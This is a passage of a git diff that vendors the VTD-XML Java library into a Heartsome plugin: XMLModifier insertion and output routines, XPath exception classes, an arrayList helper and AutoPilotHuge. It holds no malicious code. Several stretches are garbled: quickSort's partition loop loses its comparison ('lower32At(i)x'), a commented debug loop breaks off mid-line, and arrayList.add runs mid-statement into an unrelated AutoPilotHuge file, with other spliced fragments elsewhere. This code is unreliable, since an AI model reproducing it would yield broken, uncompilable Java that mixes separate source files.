VTDNav.FORMAT_UTF_16BE) + insertBytesAt(offset,b); + else + insertBytesAt((offset)<<1,b); + } + + /** + * This method will first call getCurrentIndex() to get the cursor index value + * then insert the transcoded representatin of the byte array b before the element + * @param b the byte array to be inserted into the master document + * @throws ModifyException + * @throws TranscodeException + * + */ + public void insertBeforeElement(int src_encoding, byte[] b) + throws ModifyException,TranscodeException{ + if (src_encoding == md.encoding) { + insertBeforeElement(b); + } else { + int startTagIndex = md.getCurrentIndex(); + int type = md.getTokenType(startTagIndex); + if (type != VTDNav.TOKEN_STARTING_TAG) + throw new ModifyException("Token type is not a starting tag"); + + int offset = md.getTokenOffset(startTagIndex) - 1; + byte[] bo = Transcoder.transcode(b,0,b.length,src_encoding, encoding); + if (encoding < VTDNav.FORMAT_UTF_16BE) + insertBytesAt(offset, bo); + else + insertBytesAt((offset) << 1, bo); + } + } + + /** + * Insert a namespace compensated fragment before the cursor element + * @param ef + * @throws ModifyException + * + * + */ + public void insertBeforeElement(ElementFragmentNs ef) + throws ModifyException{ + int startTagIndex =md.getCurrentIndex(); + int type = md.getTokenType(startTagIndex); + if (type!=VTDNav.TOKEN_STARTING_TAG) + throw new ModifyException("Token type is not a starting tag"); + + int offset = md.getTokenOffset(startTagIndex)-1; + + if (encoding < VTDNav.FORMAT_UTF_16BE) + insertElementFragmentNsAt(offset,ef); + else + insertElementFragmentNsAt((offset)<<1,ef); + } + + + /** + * This method will first call getCurrentIndex() to get the cursor index value + * then insert a segment of the byte array b before the element + * @param b + * @param contentOffset + * @param contentLen + * @throws ModifyException + * @throws UnsupportedEncodingException + * + */ + public void insertBeforeElement(byte[] b,int contentOffset, int contentLen) throws ModifyException, + UnsupportedEncodingException { + int startTagIndex = md.getCurrentIndex(); + int type = md.getTokenType(startTagIndex); + if (type != VTDNav.TOKEN_STARTING_TAG) + throw new ModifyException("Token type is not a starting tag"); + + int offset = md.getTokenOffset(startTagIndex) - 1; + + if (encoding < VTDNav.FORMAT_UTF_16BE) + insertBytesAt(offset, b, contentOffset, contentLen); + else + insertBytesAt((offset) << 1, b, contentOffset, contentLen); + } + + + /** + * This method will first call getCurrentIndex() to get the cursor index value + * then insert the transcoded representation of a segment of the byte array b + * before the element + * @param b + * @param contentOffset + * @param contentLen + * @throws ModifyException + * @throws UnsupportedEncodingException + * @throws TranscodeException + * + */ + public void insertBeforeElement(int src_encoding, byte[] b,int contentOffset, int contentLen) throws ModifyException, + UnsupportedEncodingException, TranscodeException { + if (src_encoding == encoding) { + insertBeforeElement(b,contentOffset, contentLen); + } else { + int startTagIndex = md.getCurrentIndex(); + int type = md.getTokenType(startTagIndex); + if (type != VTDNav.TOKEN_STARTING_TAG) + throw new ModifyException("Token type is not a starting tag"); + + int offset = md.getTokenOffset(startTagIndex) - 1; + // do transcoding here + byte[] bo = Transcoder.transcode(b,contentOffset,contentLen,src_encoding, encoding); + if (encoding < VTDNav.FORMAT_UTF_16BE) + insertBytesAt(offset, bo); + else + insertBytesAt((offset) << 1, bo); + } + } + + + + /** + * This method will first call getCurrentIndex() to get the cursor index value + * then insert the transcoded representation of a segment of the byte array contained + * in vn before the element + * @param vn + * @param contentOffset + * @param contentLen + * @throws ModifyException + * @throws UnsupportedEncodingException + * @throws TranscodeException + * + */ + public void insertBeforeElement(VTDNav vn,int contentOffset, int contentLen) throws ModifyException, + UnsupportedEncodingException, TranscodeException { + insertBeforeElement(vn.encoding, vn.XMLDoc.getBytes(),contentOffset, contentLen); + } + /** + * This method will first call getCurrentIndex() to get the cursor index value + * then insert a segment of the byte array b before the element + * l1 (a long)'s upper 32 bit is length, lower 32 bit is offset + * @param b + * @param l1 + * @throws ModifyException + * @throws UnsupportedEncodingException + * + */ + public void insertBeforeElement(byte[] b, long l1) throws ModifyException, + UnsupportedEncodingException { + int startTagIndex = md.getCurrentIndex(); + int type = md.getTokenType(startTagIndex); + if (type != VTDNav.TOKEN_STARTING_TAG) + throw new ModifyException("Token type is not a starting tag"); + + int offset = md.getTokenOffset(startTagIndex) - 1; + + if (encoding < VTDNav.FORMAT_UTF_16BE) + insertBytesAt(offset, b, l1); + else + insertBytesAt((offset) << 1, b, l1); + } + + /** + * This method will first call getCurrentIndex() to get the cursor index value + * then insert the transcoded representation of a segment of the byte array b before the element + * l1 (a long)'s upper 32 bit is length, lower 32 bit is offset + * @param b + * @param l1 + * @throws ModifyException + * @throws UnsupportedEncodingException + * @throws TranscodeException + * + */ + public void insertBeforeElement(int src_encoding, byte[] b, long l1) throws ModifyException, + UnsupportedEncodingException, TranscodeException { + if (src_encoding == md.encoding) { + insertBeforeElement(b, l1); + } else { + int startTagIndex = md.getCurrentIndex(); + int type = md.getTokenType(startTagIndex); + if (type != VTDNav.TOKEN_STARTING_TAG) + throw new ModifyException("Token type is not a starting tag"); + + int offset = md.getTokenOffset(startTagIndex) - 1; + byte[] bo = Transcoder.transcode(b, (int)l1, (int)(l1>>32),src_encoding, encoding); + if (encoding < VTDNav.FORMAT_UTF_16BE) + insertBytesAt(offset, bo ); + else + insertBytesAt((offset) << 1, bo); + } + } + + /** + * This method will first call getCurrentIndex() to get the cursor index value + * then insert the transcoded representation of a segment of the byte array contained in + * vn before the element + * l1 (a long)'s upper 32 bit is length, lower 32 bit is offset + * @param vn + * @param l + * @throws ModifyException + * @throws UnsupportedEncodingException + * @throws TranscodeException + * + */ + + public void insertBeforeElement(VTDNav vn, long l) throws ModifyException, + UnsupportedEncodingException, TranscodeException { + insertBeforeElement(vn.encoding, vn.XMLDoc.getBytes(),l); + } + /** + * This method will first call getCurrentIndex() to get the cursor index value + * then insert the byte value of s before the element + * @param s + * + */ + public void insertBeforeElement(String s) + throws ModifyException,UnsupportedEncodingException{ + int startTagIndex =md.getCurrentIndex(); + int type = md.getTokenType(startTagIndex); + if (type!=VTDNav.TOKEN_STARTING_TAG) + throw new ModifyException("Token type is not a starting tag"); + + int offset = md.getTokenOffset(startTagIndex)-1; + + if (encoding < VTDNav.FORMAT_UTF_16BE) + insertBytesAt(offset,s.getBytes(charSet)); + else + insertBytesAt((offset)<<1,s.getBytes(charSet)); + } + + /** + * Insert an attribute after the starting tag + * This method will first call getCurrentIndex() to get the cursor index value + * if the index is of type "starting tag", then the attribute is inserted + * after the starting tag + * @param attr e.g. " attrName='attrVal' ",notice the starting and ending + * white space + * + */ + public void insertAttribute(String attr) + throws ModifyException,UnsupportedEncodingException{ + int startTagIndex =md.getCurrentIndex(); + int type = md.getTokenType(startTagIndex); + if (type!=VTDNav.TOKEN_STARTING_TAG) + throw new ModifyException("Token type is not a starting tag"); + int offset = md.getTokenOffset(startTagIndex); + int len = md.getTokenLength(startTagIndex)&0xffff; + + if (encoding < VTDNav.FORMAT_UTF_16BE) + insertBytesAt(offset+len,attr.getBytes(charSet)); + else + insertBytesAt((offset+len)<<1,attr.getBytes(charSet)); + //insertBytesAt() + } + + /** + * Insert a byte arry of an attribute after the starting tag + * This method will first call getCurrentIndex() to get the cursor index value + * if the index is of type "starting tag", then teh attribute is inserted + * after the starting tag + * @param b the byte content of e.g. " attrName='attrVal' ",notice the starting and ending + * white space + * + */ + public void insertAttribute(byte[] b) + throws ModifyException,UnsupportedEncodingException{ + int startTagIndex =md.getCurrentIndex(); + int type = md.getTokenType(startTagIndex); + if (type!=VTDNav.TOKEN_STARTING_TAG) + throw new ModifyException("Token type is not a starting tag"); + int offset = md.getTokenOffset(startTagIndex); + int len = md.getTokenLength(startTagIndex) & 0xffff; + + if (encoding < VTDNav.FORMAT_UTF_16BE) + insertBytesAt(offset+len,b); + else + insertBytesAt((offset+len)<<1,b); + //insertBytesAt() + } + + /** + * Insert the transcoded representation of a byte arry of an attribute + * after the starting tag This method will first call getCurrentIndex() + * to get the cursor index value if the index is of type "starting tag", + * then teh attribute is inserted after the starting tag + * @param b the byte content of e.g. " attrName='attrVal' ",notice the + * starting and ending white space + * + */ + public void insertAttribute(int src_encoding, byte[] b) + throws ModifyException,UnsupportedEncodingException,TranscodeException{ + int startTagIndex =md.getCurrentIndex(); + int type = md.getTokenType(startTagIndex); + if (type!=VTDNav.TOKEN_STARTING_TAG) + throw new ModifyException("Token type is not a starting tag"); + int offset = md.getTokenOffset(startTagIndex); + int len = md.getTokenLength(startTagIndex)&0xffff; + byte[] bo = Transcoder.transcode(b, 0, b.length, src_encoding, encoding); + if (encoding < VTDNav.FORMAT_UTF_16BE) + insertBytesAt(offset+len,bo); + else + insertBytesAt((offset+len)<<1,bo); + //insertBytesAt() + } + /** + * This method applies the modification to the XML document + * and writes the output byte content accordingly to an outputStream + * Notice that output is not guaranteed to be well-formed + * @param os + * + */ + public void output(OutputStream os) throws IOException, ModifyException, + TranscodeException { + if (os == null) + throw new IllegalArgumentException("OutputStream can't be null"); + sort(); + check2(); + long l; + byte[] ba = md.getXML().getBytes(); + // for(int i=0;i"+flb.lower32At(i)); + // } + int t = md.vtdBuffer.lower32At(0); + int start = (t == 0) ? md.docOffset : 32; + int len = (t == 0) ? md.docLen : (md.docLen - 32); + + if (flb.size == 0) { + os.write(ba, start, len); + } else if (md.encoding < VTDNav.FORMAT_UTF_16BE) { + int offset = start; + int inc = 1; + for (int i = 0; i < flb.size; i = i + inc) { + if (i + 1 == flb.size) { + inc = 1; + } else if (flb.lower32At(i) == flb.lower32At(i + 1)) { + inc = 2; + } else + inc = 1; + + /* + * if (i==1021){ System.out.println("inc ==> "+ inc); + * System.out.println(" i ==> "+i); } + */ + l = flb.longAt(i); + if (inc == 1) { + if ((l & (~0x1fffffffffffffffL)) == MASK_DELETE) { + os.write(ba, offset, flb.lower32At(i) - offset); + offset = flb.lower32At(i) + + (flb.upper32At(i) & 0x1fffffff); + } else if ((l & (~0x1fffffffffffffffL)) == MASK_INSERT_BYTE) { // insert + os.write(ba, offset, flb.lower32At(i) - offset); + os.write((byte[]) fob.objectAt(i)); + offset = flb.lower32At(i); + } else if ((l & (~0x1fffffffffffffffL)) == MASK_INSERT_SEGMENT_BYTE) { + // XML_INSERT_SEGMENT_BYTE + os.write(ba, offset, flb.lower32At(i) - offset); + ByteSegment bs = (ByteSegment) fob.objectAt(i); + os.write(bs.ba, bs.offset, bs.len); + offset = flb.lower32At(i); + } else if ((l & (~0x1fffffffffffffffL)) == MASK_INSERT_FRAGMENT_NS) { + // ElementFragmentNs + os.write(ba, offset, flb.lower32At(i) - offset); + ElementFragmentNs ef = (ElementFragmentNs) fob + .objectAt(i); + ef.writeToOutputStream(os, md.encoding); + offset = flb.lower32At(i); + } else if ((l & (~0x1fffffffffffffffL)) == MASK_INSERT_BYTE_ENCLOSED) { // insert + os.write(ba, offset, flb.lower32At(i) - offset); + os.write(0x3e); + os.write((byte[]) fob.objectAt(i)); + os.write(0x3c); + offset = flb.lower32At(i); + } else if ((l & (~0x1fffffffffffffffL)) == MASK_INSERT_SEGMENT_BYTE_ENCLOSED) { + // XML_INSERT_SEGMENT_BYTE + os.write(ba, offset, flb.lower32At(i) - offset); + ByteSegment bs = (ByteSegment) fob.objectAt(i); + os.write(0x3e); + os.write(bs.ba, bs.offset, bs.len); + os.write(0x3c); + offset = flb.lower32At(i); + } else if ((l & (~0x1fffffffffffffffL)) == MASK_INSERT_FRAGMENT_NS_ENCLOSED) { + // ElementFragmentNs + os.write(ba, offset, flb.lower32At(i) - offset); + ElementFragmentNs ef = (ElementFragmentNs) fob + .objectAt(i); + os.write(0x3e); + ef.writeToOutputStream(os, md.encoding); + os.write(0x3c); + offset = flb.lower32At(i); + } + } else { // share the same offset value one insert, one delete + // to make sure that l's offset val is >= k's + // also to make sure that the first token is a delete + long k = flb.longAt(i + 1), temp; + int i1 = i, temp2; + int i2 = i + 1; + if ((l & (~0x1fffffffffffffffL)) != MASK_DELETE) { + temp = l; + l = k; + k = temp; + temp2 = i1; + i1 = i2; + i2 = temp2; + } + // first (i1) is definitely + if ((l & (~0x1fffffffffffffffL)) == MASK_NULL) { + } else { + os.write(ba, offset, flb.lower32At(i1) - offset); + // os.write((byte[])fob.objectAt(i2)); + // offset = flb.lower32At(i1) + (flb.upper32At(i1) & + // 0x1fffffff); + + if ((k & (~0x1fffffffffffffffL)) == MASK_INSERT_BYTE) { // insert + // os.write(ba,offset, flb.lower32At(i2)-offset); + os.write((byte[]) fob.objectAt(i2)); + offset = flb.lower32At(i1) + + (flb.upper32At(i1) & 0x1fffffff); + } else if ((k & (~0x1fffffffffffffffL)) == MASK_INSERT_SEGMENT_BYTE) { + // XML_INSERT_SEGMENT_BYTE + // os.write(ba,offset, flb.lower32At(i2)-offset); + ByteSegment bs = (ByteSegment) fob.objectAt(i2); + os.write(bs.ba, bs.offset, bs.len); + offset = flb.lower32At(i1) + + (flb.upper32At(i1) & 0x1fffffff); + } else if ((k & (~0x1fffffffffffffffL)) == MASK_INSERT_FRAGMENT_NS) { + // ElementFragmentNs + // os.write(ba,offset, flb.lower32At(i2)-offset); + ElementFragmentNs ef = (ElementFragmentNs) fob + .objectAt(i2); + ef.writeToOutputStream(os, md.encoding); + offset = flb.lower32At(i1) + + (flb.upper32At(i1) & 0x1fffffff); + } else if ((k & (~0x1fffffffffffffffL)) == MASK_INSERT_BYTE_ENCLOSED) { // insert + os.write(0x3e); + os.write((byte[]) fob.objectAt(i2)); + os.write(0x3c); + offset = flb.lower32At(i1) + + (flb.upper32At(i1) & 0x1fffffff); + } else if ((k & (~0x1fffffffffffffffL)) == MASK_INSERT_SEGMENT_BYTE_ENCLOSED) { + // XML_INSERT_SEGMENT_BYTE + ByteSegment bs = (ByteSegment) fob.objectAt(i2); + os.write(0x3e); + os.write(bs.ba, bs.offset, bs.len); + os.write(0x3c); + offset = flb.lower32At(i1) + + (flb.upper32At(i1) & 0x1fffffff); + } else if ((k & (~0x1fffffffffffffffL)) == MASK_INSERT_FRAGMENT_NS_ENCLOSED) { + // ElementFragmentNs + ElementFragmentNs ef = (ElementFragmentNs) fob + .objectAt(i2); + os.write(0x3e); + ef.writeToOutputStream(os, md.encoding); + os.write(0x3c); + offset = flb.lower32At(i1) + + (flb.upper32At(i1) & 0x1fffffff); + } + } + } + } + os.write(ba, offset, start + len - offset); + } else { + byte[] b1 = ba1; + byte[] b2 = ba2; + if (md.encoding == VTDNav.FORMAT_UTF_16BE) { + b1 = ba3; + b2 = ba4; + } + int offset = start; + int inc = 1; + for (int i = 0; i < flb.size; i = i + inc) { + if (i + 1 == flb.size) { + inc = 1; + } else if (flb.lower32At(i) == flb.lower32At(i + 1)) { + inc = 2; + } else + inc = 1; + + /* + * if (i==1021){ System.out.println("inc ==> "+ inc); + * System.out.println(" i ==> "+i); } + */ + l = flb.longAt(i); + if (inc == 1) { + if ((l & (~0x1fffffffffffffffL)) == MASK_DELETE) { + os.write(ba, offset, (flb.lower32At(i) << 1) - offset); + offset = (flb.lower32At(i) + (flb.upper32At(i) & 0x1fffffff)) << 1; + } else if ((l & (~0x1fffffffffffffffL)) == MASK_INSERT_BYTE) { // insert + os.write(ba, offset, (flb.lower32At(i) << 1) - offset); + os.write((byte[]) fob.objectAt(i)); + offset = flb.lower32At(i) << 1; + } else if ((l & (~0x1fffffffffffffffL)) == MASK_INSERT_SEGMENT_BYTE) { + // XML_INSERT_SEGMENT_BYTE + os.write(ba, offset, (flb.lower32At(i) << 1) - offset); + ByteSegment bs = (ByteSegment) fob.objectAt(i); + os.write(bs.ba, bs.offset, bs.len); + offset = flb.lower32At(i) << 1; + } else if ((l & (~0x1fffffffffffffffL)) == MASK_INSERT_FRAGMENT_NS) { + // ElementFragmentNs + os.write(ba, offset, (flb.lower32At(i) << 1) - offset); + ElementFragmentNs ef = (ElementFragmentNs) fob + .objectAt(i); + ef.writeToOutputStream(os, md.encoding); + offset = flb.lower32At(i) << 1; + } else if ((l & (~0x1fffffffffffffffL)) == MASK_INSERT_BYTE_ENCLOSED) { // insert + // XML_INSERT_SEGMENT_BYTE + os.write(ba, offset, (flb.lower32At(i) << 1) - offset); + os.write(b1); + os.write((byte[]) fob.objectAt(i)); + os.write(b2); + offset = flb.lower32At(i) << 1; + } else if ((l & (~0x1fffffffffffffffL)) == MASK_INSERT_SEGMENT_BYTE_ENCLOSED) { + // XML_INSERT_SEGMENT_BYTE + os.write(ba, offset, (flb.lower32At(i) << 1) - offset); + ByteSegment bs = (ByteSegment) fob.objectAt(i); + os.write(b1); + os.write(bs.ba, bs.offset, bs.len); + os.write(b2); + offset = flb.lower32At(i) << 1; + } else if ((l & (~0x1fffffffffffffffL)) == MASK_INSERT_FRAGMENT_NS_ENCLOSED) { + // ElementFragmentNs + os.write(ba, offset, (flb.lower32At(i) << 1) - offset); + ElementFragmentNs ef = (ElementFragmentNs) fob + .objectAt(i); + os.write(b1); + ef.writeToOutputStream(os, md.encoding); + os.write(b2); + offset = flb.lower32At(i) << 1; + } + } else { // share the same offset value one insert, one delete + // to make sure that l's offset val is >= k's + // also to make sure that the first token is a delete + long k = flb.longAt(i + 1), temp; + int i1 = i, temp2; + int i2 = i + 1; + if ((l & (~0x1fffffffffffffffL)) != MASK_DELETE) { + temp = l; + l = k; + k = temp; + temp2 = i1; + i1 = i2; + i2 = temp2; + } + // first is definitely delete + if ((l & (~0x1fffffffffffffffL)) == MASK_NULL) { + } else { + os.write(ba, offset, (flb.lower32At(i1) << 1) - offset); + // os.write((byte[])fob.objectAt(i2)); + // offset = flb.lower32At(i1) + (flb.upper32At(i1) & + // 0x1fffffff); + + if ((k & (~0x1fffffffffffffffL)) == MASK_INSERT_BYTE) { // insert + // os.write(ba,offset, flb.lower32At(i2)-offset); + os.write((byte[]) fob.objectAt(i2)); + offset = (flb.lower32At(i1) + (flb.upper32At(i1) & 0x1fffffff)) << 1; + } else if ((k & (~0x1fffffffffffffffL)) == MASK_INSERT_SEGMENT_BYTE) { + // XML_INSERT_SEGMENT_BYTE + // os.write(ba,offset, flb.lower32At(i2)-offset); + ByteSegment bs = (ByteSegment) fob.objectAt(i2); + + os.write(bs.ba, bs.offset, bs.len); + offset = (flb.lower32At(i1) + (flb.upper32At(i1) & 0x1fffffff)) << 1; + } else if ((k & (~0x1fffffffffffffffL)) == MASK_INSERT_FRAGMENT_NS) { + // ElementFragmentNs + // os.write(ba,offset, flb.lower32At(i2)-offset); + ElementFragmentNs ef = (ElementFragmentNs) fob + .objectAt(i2); + ef.writeToOutputStream(os, md.encoding); + offset = (flb.lower32At(i1) + (flb.upper32At(i1) & 0x1fffffff)) << 1; + } else if ((k & (~0x1fffffffffffffffL)) == MASK_INSERT_BYTE_ENCLOSED) { // insert + // XML_INSERT_SEGMENT_BYTE + // os.write(ba,offset, flb.lower32At(i2)-offset); + os.write(b1); + os.write((byte[]) fob.objectAt(i2)); + os.write(b2); + offset = (flb.lower32At(i1) + (flb.upper32At(i1) & 0x1fffffff)) << 1; + } else if ((k & (~0x1fffffffffffffffL)) == MASK_INSERT_SEGMENT_BYTE_ENCLOSED) { + // XML_INSERT_SEGMENT_BYTE + ByteSegment bs = (ByteSegment) fob.objectAt(i2); + os.write(b1); + os.write(bs.ba, bs.offset, bs.len); + os.write(b2); + offset = (flb.lower32At(i1) + (flb.upper32At(i1) & 0x1fffffff)) << 1; + } else if ((k & (~0x1fffffffffffffffL)) == MASK_INSERT_FRAGMENT_NS_ENCLOSED) { + // ElementFragmentNs + // os.write(ba,offset, flb.lower32At(i2)-offset); + ElementFragmentNs ef = (ElementFragmentNs) fob + .objectAt(i2); + os.write(b1); + ef.writeToOutputStream(os, md.encoding); + os.write(b2); + offset = (flb.lower32At(i1) + (flb.upper32At(i1) & 0x1fffffff)) << 1; + } + } + } + } + os.write(ba, offset, start + len - offset); + } + } + + /** + * Generate the updated output XML document and write it into + * a file of given name + * @param fileName + * @throws IOException + * @throws ModifyException + * + */ + public void output(String fileName) throws IOException, ModifyException,TranscodeException{ + FileOutputStream fos = new FileOutputStream(fileName); + output(fos); + fos.close(); + } + + void quickSort (int lo, int hi) + { +// lo is the lower index, hi is the upper index +// of the region of array a that is to be sorted + //System.out.println("lo ==>"+lo); + //System.out.println("hi ==>"+hi); + int i=lo, j=hi; + long h; + Object o; + int x=flb.lower32At((lo+hi)/2); + + // partition + do + { + while (flb.lower32At(i)x) j--; + if (i<=j) + { + h=flb.longAt(i); + o = fob.objectAt(i); + flb.modifyEntry(i,flb.longAt(j)); + fob.modifyEntry(i,fob.objectAt(j)); + flb.modifyEntry(j,h); + fob.modifyEntry(j,o); + i++; + j--; + } + } while (i<=j); + + // recursion + if (lo>32); + if (encoding < VTDNav.FORMAT_UTF_16BE) { + //scan backwards for /> + //int temp = (int)l+(int)(l>>32); + if (xml[temp - 2] == (byte) '/') + return; + //look for + if (xml[temp - 3] == (byte) '/' && xml[temp - 4] == 0) + return; + + temp-=2; + while (!(xml[temp+1] == (byte) '/' && xml[temp ] == 0)) { + temp-=2; + } + insertBytesAt(temp+2, newElementName.getBytes(charSet)); + removeContent(temp+2, len<<1); + } else { + //scan backwards for /> + if (xml[temp - 3] == 0 && xml[temp - 4] == '/') + return; + + temp-=2; + while (!(xml[temp] == (byte) '/' && xml[temp+1 ] == 0) ) { + temp-=2; + } + insertBytesAt(temp+2 , newElementName.getBytes(charSet)); + removeContent(temp+2 , len<<1); + } + } + + + /** + * outAndReparse writes updated XML content into a new byte + * array, then parse and return a new VTDNav object + * @return VTDNav encapsulating update XML documents + * @throws ParseException + * @throws IOException + * @throws TranscodeException + * @throws ModifyException + */ + public VTDNav outputAndReparse() throws ParseException, IOException,TranscodeException,ModifyException{ + XMLByteOutputStream xbos = new XMLByteOutputStream(getUpdatedDocumentSize()); + output(xbos); + VTDGen vg = new VTDGen(); + vg.setDoc(xbos.getXML()); + vg.parse(this.md.ns); + return vg.getNav(); + } + + +} diff --git a/base_plugins/net.heartsome.xml/src/com/ximpleware/XPathEvalException.java b/base_plugins/net.heartsome.xml/src/com/ximpleware/XPathEvalException.java new file mode 100644 index 0000000..dbc0d52 --- /dev/null +++ b/base_plugins/net.heartsome.xml/src/com/ximpleware/XPathEvalException.java @@ -0,0 +1,29 @@ +/* + * Copyright (C) 2002-2012 XimpleWare, info@ximpleware.com + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + */ +package com.ximpleware; +/** + * This exception is thrown when there is something + * during XPath evaluation + * + */ +public class XPathEvalException extends VTDException{ + public XPathEvalException(String s){ + super(s); + } +} + diff --git a/base_plugins/net.heartsome.xml/src/com/ximpleware/XPathParseException.java b/base_plugins/net.heartsome.xml/src/com/ximpleware/XPathParseException.java new file mode 100644 index 0000000..6700be4 --- /dev/null +++ b/base_plugins/net.heartsome.xml/src/com/ximpleware/XPathParseException.java @@ -0,0 +1,38 @@ +/* + * Copyright (C) 2002-2012 XimpleWare, info@ximpleware.com + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + */ +package com.ximpleware; +/** + * This exception is thrown when an error occured during + * the construction of XPathExpr + * + */ +public class XPathParseException extends VTDException{ + int offset; + public XPathParseException(String s, int i){ + super(s); + offset = i; + } + public XPathParseException(String s){ + super(s); + offset = 0; + } + public int getOffset(){ + return offset; + } +} + diff --git a/base_plugins/net.heartsome.xml/src/com/ximpleware/arrayList.java b/base_plugins/net.heartsome.xml/src/com/ximpleware/arrayList.java new file mode 100644 index 0000000..9e7dcef --- /dev/null +++ b/base_plugins/net.heartsome.xml/src/com/ximpleware/arrayList.java @@ -0,0 +1,68 @@ +/* + * Copyright (C) 2002-2012 XimpleWare, info@ximpleware.com + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + */ +package com.ximpleware; + +class arrayList { + public final static int GROWTH_INC = 16; + public final static int default_init_capacity = 16; + public arrayList(){ + oa = new Object[default_init_capacity]; + capacity = default_init_capacity; + } + + public arrayList(int initial_capacity){ + oa = new Object[initial_capacity]; + capacity = initial_capacity; + } + + final public Object get(int i){ + if(i>=size) + throw new IndexOutOfBoundsException(); + return oa[i]; + } + + final public void add(Object o){ + if (size"+varExpr.substring(0,e.getOffset())); + throw e; + }catch(Exception e){ + throw new XPathParseExceptionHuge("Error occurred"); + } + } +/** + * Iterate over all the selected element nodes in document order. + * Null element name allowed, corresponding to node() in xpath + * Creation date: (12/4/03 5:25:42 PM) + * @return boolean + * @exception com.ximpleware.extended.NavExceptionHuge See description in method toElement() in VTDNavHuge class. + */ +public boolean iterate() throws PilotExceptionHuge, NavExceptionHuge { + switch (iter_type) { + case SIMPLE : + //System.out.println("iterating ---> "+name+ " depth ---> "+depth); + /*if (elementName == null) + throw new PilotException(" Element name not set ");*/ + if (vn.atTerminal) + return false; + if (ft == false) + return vn.iterate(depth, name, special); + else { + ft = false; + if (special || + vn.matchElement(name)) { + return true; + } else + return vn.iterate(depth, name, special); + } + + case SIMPLE_NS : + if (vn.atTerminal) + return false; + if (ft == false) + return vn.iterateNS(depth, URL, localName); + else { + ft = false; + if (vn.matchElementNS(URL, localName)) { + return true; + } else + return vn.iterateNS(depth, URL, localName); + } + + case DESCENDANT: + if (vn.atTerminal) + return false; + return vn.iterate(depth, name, special); + + case DESCENDANT_NS: + if (vn.atTerminal) + return false; + return vn.iterateNS(depth, URL, localName); + + case FOLLOWING: + if (vn.atTerminal) + return false; + if (ft == false) + return vn.iterate_following(name, special); + else { + ft = false; + // find the first next sibling of + while(true){ + while (vn.toElement(VTDNavHuge.NS)){ + if (special || vn.matchElement(name)) { + return true; + } + return vn.iterate_following(name, special); + } + if (vn.toElement(VTDNavHuge.P)==false){ + //return vn.iterate_following(name, special); + return false; + } + } + } + + case FOLLOWING_NS: + if (vn.atTerminal) + return false; + if (ft == false) + return vn.iterate_followingNS(URL,localName); + else { + ft = false; + // find the first next sibling of + while(true){ + while (vn.toElement(VTDNavHuge.NS)){ + if (vn.matchElementNS(URL,localName)) { + return true; + } + return vn.iterate_followingNS(URL,localName); + } + if (vn.toElement(VTDNavHuge.P)==false){ + return false; + } + } + } + + case PRECEDING: + if (vn.atTerminal) + return false; + return vn.iterate_preceding(name, contextCopy,special); + + case PRECEDING_NS: + if (vn.atTerminal) + return false; + return vn.iterate_precedingNS(URL,localName,contextCopy); + + default : + throw new PilotExceptionHuge(" iteration action type undefined"); + } +} +/** + * This method implements the attribute axis for XPath + * @return the integer of the selected VTD index for attribute name + * @throws com.ximpleware.extended.PilotException + */ + protected int iterateAttr() throws PilotExceptionHuge,NavExceptionHuge{ + + switch(iter_type){ + case ATTR: + if (name.compareTo("*")==0){ + if (ft != false){ + ft = false; + index = vn.getCurrentIndex2()+1; + } else + index +=2; + if (vn.ns == false){ + while(index"+ s.substring(0,e.getOffset())); + throw e; + }catch(Exception e){ + throw new XPathParseExceptionHuge("Error occurred"); + } +} + +/** + * Reset the XPath so the XPath Expression can + * be reused and revaluated in anther context position + * + */ + +public void resetXPath(){ + if (xpe!=null && vn!=null){ + xpe.reset(vn); + ft = true; + vn.contextStack2.size = stackSize; + } +} +/** + * evalXPathToNumber() evaluates the xpath expression to a double + * @return double + * + */ +public double evalXPathToNumber(){ + return xpe.evalNumber(vn); +} +/** + * evalXPathToString() evaluates the xpath expression to a String + * @return String + * + */ +public String evalXPathToString(){ + return xpe.evalString(vn); +} +/** + * evalXPathToBoolean() evaluates the xpath expression to a boolean + * @return boolean + * + */ +public boolean evalXPathToBoolean(){ + return xpe.evalBoolean(vn); +} +/** + * This method returns the next node in the nodeset + * it returns -1 if there is no more node + * Afer finishing evaluating, don't forget to reset the xpath + * @return int corresponding to the VTD index + */ +public int evalXPath() throws XPathEvalExceptionHuge, NavExceptionHuge{ + if (xpe!=null){ + if (ft == true){ + if (vn != null){ + stackSize = vn.contextStack2.size; + } + ft = false; + xpe.adjust(vn.getTokenCount()); + } + + return xpe.evalNodeSet(vn); + } + throw new PilotExceptionHuge(" Null XPath expression "); +} + +/** + * Setspecial is used by XPath evaluator to distinguish between + * node() and * + * node() corresponding to b= true; + * @param b + */ + +protected void setSpecial(boolean b ){ + special = b; +} + +/** + * Convert the expression to a string + * For debugging purpose + * @return String + */ +public String getExprString(){ + return xpe.toString(); +} + +/** + * Remove all declared variable expressions + */ +public void clearVariableExprs(){ + symbolHash.clear(); +} + +/** + * Remove all namespaces bindings + */ +public void clearXPathNameSpaces(){ + nsHash.clear(); +} +} diff --git a/base_plugins/net.heartsome.xml/src/com/ximpleware/extended/BinaryExpr.java b/base_plugins/net.heartsome.xml/src/com/ximpleware/extended/BinaryExpr.java new file mode 100644 index 0000000..043c7c4 --- /dev/null +++ 